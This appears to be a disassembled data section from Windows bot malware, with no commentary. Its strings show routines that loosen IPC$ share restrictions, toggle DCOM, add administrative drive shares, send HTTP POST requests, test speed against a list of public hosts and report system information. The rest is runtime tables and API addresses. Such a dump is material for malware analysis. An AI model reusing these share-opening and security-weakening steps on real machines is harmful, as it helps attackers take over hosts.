dword_43A728 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+106o
aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo
; sub_41A6EA+EDo
align 4
dword_43A778 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+91o
; sub_41A6EA+91o
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
dword_43A7A8 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh
; DATA XREF: sub_41A3C6:loc_41A433o
dd 62617369h, 2E64656Ch, 0
dword_43A7C8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+66o
aDisableDcomFai db '- Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A3C6+54o
; sub_41A6EA+54o
align 4
dword_43A7F8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+2C3o
aNetworkSharesA db '- Network shares added.',0
aC_1 db '%c:\',0 ; DATA XREF: sub_41A6EA+230o
align 4
aC_2 db '%c$',0 ; DATA XREF: sub_41A6EA+219o
dword_43A828 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A889o
; sub_41A6EA:loc_41A95Ao
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A850 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+198o
; sub_41A6EA+269o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_43A870 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A811o
aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0
dword_43A8AC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A7F3o
aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 4
dword_43A8E4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+102o
aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 4
dword_43A924 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh
; DATA XREF: sub_41A6EA:loc_41A757o
dd 6C62616Eh, 2E6465h
dword_43A940 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+66o
aEnableDcomFail db '- Enable DCOM failed.',0
align 4
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dword_43A998 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h
; DATA XREF: sub_41ABFB+1A7o
dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41ABFB+BDo
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41ABFB+B6o
align 4
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41ABFB+AFo
align 4
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o
align 10h
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41ABFB+9Ao
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o
align 4
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41ABFB+8Co
align 4
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41ABFB+85o
align 4
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41ABFB+7Eo
align 4
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41ABFB+77o
align 4
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o
align 4
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41ABFB+69o
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41ABFB+62o
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41ABFB+5Bo
align 4
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41ABFB+4Do
align 4
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41ABFB+46o
align 4
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41ABFB+3Fo
align 4
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41ABFB+38o
align 4
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41ABFB+31o
align 4
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41ABFB+2Ao
align 4
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41ABFB+23o
align 4
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41ABFB+1Co
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41ABFB+15o
dword_43ABA4 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
; DATA XREF: sub_41AF8F+297o
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
dword_43AC80 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AF8F+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o
align 4
dword_43ACA4 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h
; DATA XREF: sub_41B243+A4o
dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h
dd 7325203Ah, 2Eh
off_43ACE8 dd offset loc_412F4E ; DATA XREF: sub_41B243:loc_41B2AFo
off_43ACEC dd offset dword_4E414C ; DATA XREF: sub_41B243:loc_41B2A5o
dword_43ACF0 dd 6C616944h, 70752Dh ; DATA XREF: sub_41B243+5Bo
dword_43ACF8 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41B243+48o
unk_43AD08 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4BBo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConnec db ' Failed to connect to HTTP server.',0
align 4
unk_43AD38 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4B4o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 4
dword_43AD64 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h
; DATA XREF: sub_41B302+1A0o
dd 4C525520h, 2Eh
unk_43AD80 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B495o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 4
dword_43ADBC dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: sub_41B302+18Co
dd 64657469h, 2Eh
dword_43ADD8 dd 2A2F2Ah ; DATA XREF: sub_41B302+3Bo
word_43ADDC dw 4 ; DATA XREF: sub_41B55B+10r
align 10h
dword_43ADE0 dd 6325h ; DATA XREF: .packed:0041B89Co
dword_43ADE4 dd 0DFFh ; DATA XREF: .packed:0041B6EAo
dword_43ADE8 dd 51FFh ; DATA XREF: .packed:0041B6DFo
dword_43ADEC dd 0EBFFh ; DATA XREF: .packed:0041B6D4o
dword_43ADF0 dd 201h ; DATA XREF: .packed:0041B6BFo
dword_43ADF4 dd 20424652h, 2E333030h, 0A383030h, 4 dup(0) ; DATA XREF: .packed:0041B6ADo
dword_43AE10 dd 7BFC7331h ; DATA XREF: sub_41C2B8+4w sub_41C2C2r ...
align 10h
dword_43AE20 dd 173Fh ; DATA XREF: sub_41D055+Dr
dd 9875h, 9873h
off_43AE2C dd offset sub_41D124 ; DATA XREF: sub_41C164r
dd offset nullsub_2
dd offset nullsub_2
dword_43AE38 dd 1B3Fh ; DATA XREF: sub_41D19B+Dr
dword_43AE3C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41D61D+2o
; sub_41D626+2o
off_43AE50 dd offset sub_41C1A2 ; DATA XREF: sub_41E2C9+1Cr
dword_43AE54 dd 2 ; DATA XREF: sub_423D98+Er
; sub_423DD1+46r ...
dd 10h, 0
off_43AE60 dd offset off_43AE60 ; DATA XREF: sub_41F216+Do
; sub_41F216+69o ...
off_43AE64 dd offset off_43AE60 ; DATA XREF: sub_41F216:loc_41F296r
; sub_41F216+89w ...
dd offset dword_43AE78
dd offset dword_43AE78
dword_43AE70 dd 0FFFFFFFFh ; DATA XREF: sub_41F216r
; sub_41F35A:loc_41F3A7w
dd 0FFFFFFFFh
dword_43AE78 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: .packed:0043AE68o
; .packed:0043AE6Co
off_43CE80 dd offset off_43AE60 ; DATA XREF: sub_41F35A+15r
; sub_41F35A+20w ...
dword_43CE84 dd 1E0h ; DATA XREF: sub_41BBE2+185r
; sub_41BEF3:loc_41BF2Fr ...
off_43CE88 dd offset word_43CE92 ; DATA XREF: sub_41C0CE+23r
; sub_41C0CE:loc_41C12Fr ...
off_43CE8C dd offset word_43CE92 ; DATA XREF: sub_42686F+18r
db 2 dup(0)
word_43CE92 dw 20h ; DATA XREF: sub_424FF8+18r
; .packed:off_43CE88o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43D094 dd 1 ; DATA XREF: sub_41C0CE:loc_41C0D6r
; sub_41C0CE:loc_41C11Ar ...
byte_43D098 db 2Eh ; DATA XREF: sub_420DB0:loc_4210A4r
; sub_420DB0+311r ...
align 4
dd 1
off_43D0A0 dd offset aNull_0 ; DATA XREF: sub_41FF3F:loc_4202A3r
; sub_41FF3F+457r
; "(null)"
off_43D0A4 dd offset aNull ; DATA XREF: sub_41FF3F+259r
; "(null)"
byte_43D0A8 db 1 ; DATA XREF: sub_420749+E1r
db 2, 4, 8
align 10h
dword_43D0B0 dd 3A4h ; DATA XREF: sub_420749+2Fo
dword_43D0B4 dd 82798260h, 21h, 0 ; DATA XREF: sub_420749+11Dr
dword_43D0C0 dd 0DFA6h ; DATA XREF: sub_420749+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43D1A0 dd 1 ; DATA XREF: sub_420749+3Co
; sub_420C7F+Co
dword_43D1A4 dd 16h ; DATA XREF: sub_420C7F:loc_420CB4r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43D308 dd 0D2D0920h, 5Dh ; DATA XREF: sub_420C7F+19o
; sub_420DB0:loc_421317o
dword_43D310 dd 5Dh, 0 ; DATA XREF: sub_420DB0:loc_421207o
dword_43D318 dd 14h ; DATA XREF: sub_421EC4+2o
off_43D31C dd offset aExp ; DATA XREF: sub_421EC4:loc_421EE1r
; "exp"
dd 1Dh, 427858h, 1Ah, 42C614h, 1Bh, 427850h, 1Fh, 427848h
dd 13h, 427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h
dd 0Fh, 427820h, 10h, 427818h, 5, 427810h, 1Eh, 42780Ch
dd 12h, 427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h
dd 15h, 4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h
dd 18h, 4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h
dd 23h, 4277B4h, 24h, 4277B0h
dbl_43D3F0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+B7r
; sub_421BFF:loc_421CE6r ...
dd 0
dd 0FFF80000h
dbl_43D400 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+92r
; sub_421BFF:loc_421CBEr ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_43D418 dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr
; sub_4220AC+1Fr
align 4
tbyte_43D424 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r
align 10h
off_43D430 dd offset sub_422540 ; DATA XREF: sub_41D13C+Fw
; sub_41FF3F+3AAr
off_43D434 dd offset sub_4221D5 ; DATA XREF: sub_41D13C+5w
; sub_41FF3F+3E2r
off_43D438 dd offset sub_42223B ; DATA XREF: sub_41D13C+14w
; sub_420DB0+430r
off_43D43C dd offset sub_42217B ; DATA XREF: sub_41D13C+1Ew
; sub_41FF3F+3CBr
off_43D440 dd offset sub_422223 ; DATA XREF: sub_41D13C+28w
off_43D444 dd offset sub_422540 ; DATA XREF: sub_41D13C+32w
dd offset sub_424F1C
align 10h
dd offset sub_422DFC
off_43D454 dd offset sub_422DFC ; DATA XREF: sub_422E52+29r
dword_43D458 dd 0C0000005h ; DATA XREF: sub_423638+Ar
; sub_423638+11o ...
dword_43D45C dd 0Bh ; DATA XREF: sub_425D33+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43D4D0 dd 3 ; DATA XREF: sub_4234F7+58r
; sub_425C06+C8r
dword_43D4D4 dd 7 ; DATA XREF: sub_4234F7+5Er
; sub_425C06+CDr
dword_43D4D8 dd 0Ah ; DATA XREF: sub_423638+4r
; sub_425D33+4r
dword_43D4DC dd 8Ch ; DATA XREF: sub_4234F7+82r
; sub_4234F7+8Fw ...
dword_43D4E0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F8E3:loc_41F964o
; sub_41FE2A:loc_41FEE7o
dword_43D4E8 dd 2 ; DATA XREF: sub_423DD1+Eo
; sub_423DD1+28r
off_43D4EC dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr
; sub_423DD1+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 427B74h, 9, 427B48h, 0Ah, 427B24h, 10h, 427AF8h
dd 11h, 427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h
dd 19h, 427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h
dd 78h, 427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349F4h
dd 0FFh, 427940h
off_43D578 dd offset dword_4DC040 ; DATA XREF: sub_423DD1+1Bo
; sub_42413E+55o
align 10h
dd offset dword_4DC040
dd 101h
dword_43D588 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42413E+72o
dd 1000h, 0
dword_43D598 dd 3 dup(0) ; DATA XREF: sub_41FE2A+50o
; sub_420CE6+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D5B8 dd 3 dup(0) ; DATA XREF: sub_41FE2A+58o
; sub_420CE6:loc_420D04o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D5E8 dd 84h dup(0) ; DATA XREF: sub_42413E+9Bo
dword_43D7F8 dd 2 dup(0) ; DATA XREF: sub_42413E+69o
dword_43D800 dd 2694h ; DATA XREF: sub_421861+3r
; sub_4218B4+46r
align 8
dword_43D808 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_424CFCo
dword_43D820 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o
dword_43D838 dd 2 dup(0) ; DATA XREF: sub_42600E+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_43D998 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_42600E+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
off_43DAF4 dd offset off_427CEC ; DATA XREF: .packed:00427EC4o
; .packed:00427FB0o
dd 0
a_?avexception@ db '.?AVexception@@',0
off_43DB0C dd offset off_427CEC ; DATA XREF: .packed:off_427D78o
; .packed:00427DB8o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_43DB2C dd offset off_427CEC ; DATA XREF: .packed:off_427DC0o
; .packed:00427E04o ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_43DB4C dd offset off_427CEC ; DATA XREF: .packed:off_427E0Co
; .packed:00427E50o ...
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 10h
off_43DB70 dd offset off_427CEC ; DATA XREF: .packed:off_427E58o
; .packed:00427E94o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_424F1C
align 10h
dword_43DB90 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o
byte_43DB98 db 0 ; DATA XREF: sub_40111D+62o
; sub_401221+24Do ...
align 10h
dword_43DBA0 dd 0 ; DATA XREF: sub_401221+38Fo
; sub_401ACD+AECo ...
dd 5 dup(0)
dword_43DBB8 dd 0 ; DATA XREF: sub_401ACD+B48r
; sub_415C40+60r
dd 2D9h dup(0)
dword_43E720 dd 0 ; DATA XREF: sub_401ACD+5D8Cr
; sub_401ACD+5E61r ...
dd 7Fh dup(0)
dword_43E920 dd 0 ; DATA XREF: sub_40B3BA+41w
; sub_40B4F5+40w ...
dword_43E924 dd 0 ; DATA XREF: sub_40B3BA+47w
; sub_40B4F5+46w ...
dword_43E928 dd 0 ; DATA XREF: sub_40B3BA+52w
; sub_40B4F5+3Ar ...
dword_43E92C dd 0 ; DATA XREF: sub_40111D+Cr
; sub_4017ED+B9w ...
dword_43E930 dd 0 ; DATA XREF: sub_40B4F5+75r
; sub_40B6D6+2Aw ...
dword_43E934 dd 0 ; DATA XREF: sub_401221+3DEw
; sub_401221+456w ...
byte_43E938 db 0 ; DATA XREF: sub_4017ED+91o
; sub_401ACD+5CD7r ...
align 4
dd 1B85h dup(0)
dword_445750 dd 473Ch dup(0) ; DATA XREF: .packed:off_434934o
db 0
byte_457441 db 3 dup(0) ; DATA XREF: .packed:off_439034o
dd 0E306h dup(0)
dword_49005C dd 937Eh dup(0) ; DATA XREF: .packed:off_432950o
db 0
byte_4B4E55 db 3 dup(0) ; DATA XREF: .packed:off_431664o
dd 0FBh dup(0)
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: .packed:off_438EA0o
dd 5936h dup(0)
dword_4CB720 dd 0BC7Bh ; DATA XREF: sub_40111D+FDw
; sub_40B3BA+13o ...
dword_4CB724 dd 1Bh ; DATA XREF: sub_401221+3Dw
; sub_401ACD:loc_404494r ...
dword_4CB728 dd 0 ; DATA XREF: sub_401221:loc_4016FFo
dword_4CB72C dd 20h dup(0) ; DATA XREF: sub_401221+495o
; sub_401221+52Fo ...
dword_4CB7AC dd 10h dup(0) ; DATA XREF: sub_401221+4ABo
dword_4CB7EC dd 24h dup(0) ; DATA XREF: sub_401221+4C2o
dword_4CB87C dd 0 ; DATA XREF: sub_401221+4B6w
; sub_401221+546w ...
dword_4CB880 dd 0 ; DATA XREF: sub_401221+4D5w
align 10h
byte_4CB890 db 0 ; DATA XREF: sub_401955+28r
; sub_401955+30o
align 4
dword_4CB894 dd 0 ; DATA XREF: sub_401221+4E3w
; sub_401221+4FAr ...
dword_4CB898 dd 0 ; DATA XREF: sub_401221+49Aw
; sub_401ACD+8A2r
word_4CB89C dw 0 ; DATA XREF: sub_401ACD+7BAFo
; .packed:0040AFA9o ...
align 10h
dword_4CB8A0 dd 77C72C6Bh ; DATA XREF: sub_409909+4A7w
; sub_409909+4EBr
dword_4CB8A4 dd 77EBA994h ; DATA XREF: sub_409909+65w
; sub_419C09+166r
dword_4CB8A8 dd 7622A3F4h ; DATA XREF: sub_409909+80Bw
; sub_409909+880r ...
dword_4CB8AC dd 71C45229h ; DATA XREF: sub_409909+9D8w
; sub_409909+A43r ...
dword_4CB8B0 dd 71C24870h ; DATA XREF: sub_409909+98Aw
; sub_409909+A13r ...
dword_4CB8B4 dd 77C71BB0h ; DATA XREF: sub_409909+48Dw
; sub_409909+4DBr
dword_4CB8B8 dd 77D4808Bh ; DATA XREF: sub_409909+213w
; sub_409909+234r ...
dword_4CB8BC dd 71C4502Ch ; DATA XREF: sub_409909+9CBw
; sub_409909+A3Br ...
dword_4CB8C0 dd 77DE801Bh ; DATA XREF: sub_409909+372w
; sub_409909+3C7r ...
dword_4CB8C4 dd 77DDACABh ; DATA XREF: sub_409909+40Fw
; sub_41AF8F+11Er
dword_4CB8C8 dd 77DE8075h ; DATA XREF: sub_409909+37Fw
; sub_409909+3CFr ...
dword_4CB8CC dd 77DD7496h ; DATA XREF: sub_409909+3C0w
; sub_4191DB+ADr
dword_4CB8D0 dd 71AB1B7Bh ; DATA XREF: sub_409909+55Aw
; sub_40FAD6+115r ...
dword_4CB8D4 dd 77E686CCh ; DATA XREF: sub_409909+72w
; sub_409909+D2r ...
dword_4CB8D8 dd 71C2498Bh ; DATA XREF: sub_409909+97Dw
; sub_409909+A06r ...
dword_4CB8DC dd 77DDAB2Fh ; DATA XREF: sub_409909+3A6w
; sub_409909+3E7r ...
dword_4CB8E0 dd 7620E8C3h ; DATA XREF: sub_409909+859w
; sub_409909+8ACr ...
dword_4CB8E4 dd 77DD23D7h ; DATA XREF: sub_409909+2A5w
; sub_409909+2F0r
dword_4CB8E8 dd 76214750h ; DATA XREF: sub_409909+84Cw
; sub_409909+8A4r ...
dword_4CB8EC dd 77E6D75Bh ; DATA XREF: sub_409909+B3w
dword_4CB8F0 dd 7620BD61h ; DATA XREF: sub_409909+866w
; sub_409909+8B4r ...
dword_4CB8F4 dd 71AB60C9h ; DATA XREF: sub_409909+54Dw
; sub_409909+6D0r ...
dword_4CB8F8 dd 77EBA6E9h ; DATA XREF: sub_409909+58w
; sub_409909+CAr ...
dword_4CB8FC dd 76D62A58h ; DATA XREF: sub_409909+934w
; sub_413E10+11Ar
dword_4CB900 dd 76F36EAAh ; DATA XREF: sub_401ACD:loc_403ECBr
; sub_409909+A95w ...
dword_4CB904 dd 77E802FCh ; DATA XREF: sub_409909+A6w
; sub_409909+F2r
dword_4CB908 dd 77C75455h ; DATA XREF: sub_409909+480w
; sub_409909+4D3r
dword_4CB90C dd 71AB12A7h ; DATA XREF: sub_409909+5F6w
; sub_40C267+20r ...
dword_4CB910 dd 71C574FAh ; DATA XREF: sub_409909+9BEw
; sub_409909+A33r
dword_4CB914 dd 71AB1746h ; DATA XREF: sub_409909+5E9w
; sub_409909+754r ...
dword_4CB918 dd 71C21CA3h ; DATA XREF: sub_409909+A0Cw
dword_4CB91C dd 71B28D0Dh ; DATA XREF: sub_409909+B50w
; sub_40DC41+9Ar
dword_4CB920 dd 762211EFh ; DATA XREF: sub_409909+7FEw
; sub_409909+86Dr ...
dword_4CB924 dd 77D902E3h ; DATA XREF: sub_409909+1B3w
; sub_40B5B5+3Do ...
dword_4CB928 dd 71C2FA86h ; DATA XREF: sub_409909+997w
; sub_409909+A1Br ...
dword_4CB92C dd 77DE1291h ; DATA XREF: sub_409909+38Cw
; sub_409909+3D7r ...
dword_4CB930 dd 77E2C1B3h ; DATA XREF: sub_409909+399w
; sub_409909+3DFr ...
dword_4CB934 dd 73B81E3Bh ; DATA XREF: sub_409909+C85w
; sub_409909+C8Cr
dword_4CB938 dd 71ABF628h ; DATA XREF: sub_409909+6ACw
; sub_4111C0+D0r
dword_4CB93C dd 71AB1836h ; DATA XREF: sub_40111D+1Dr
; sub_40111D+23r ...
dword_4CB940 dd 77C72889h ; DATA XREF: sub_409909+4B4w
dword_4CB944 dd 71C453F8h ; DATA XREF: sub_409909+9E5w
; sub_409909+A4Br ...
dword_4CB948 dd 77DD5C55h ; DATA XREF: sub_401000+51r
; sub_409909+2B2w ...
dword_4CB94C dd 77E96645h ; DATA XREF: sub_409909+7Fw
; sub_409909+DAr ...
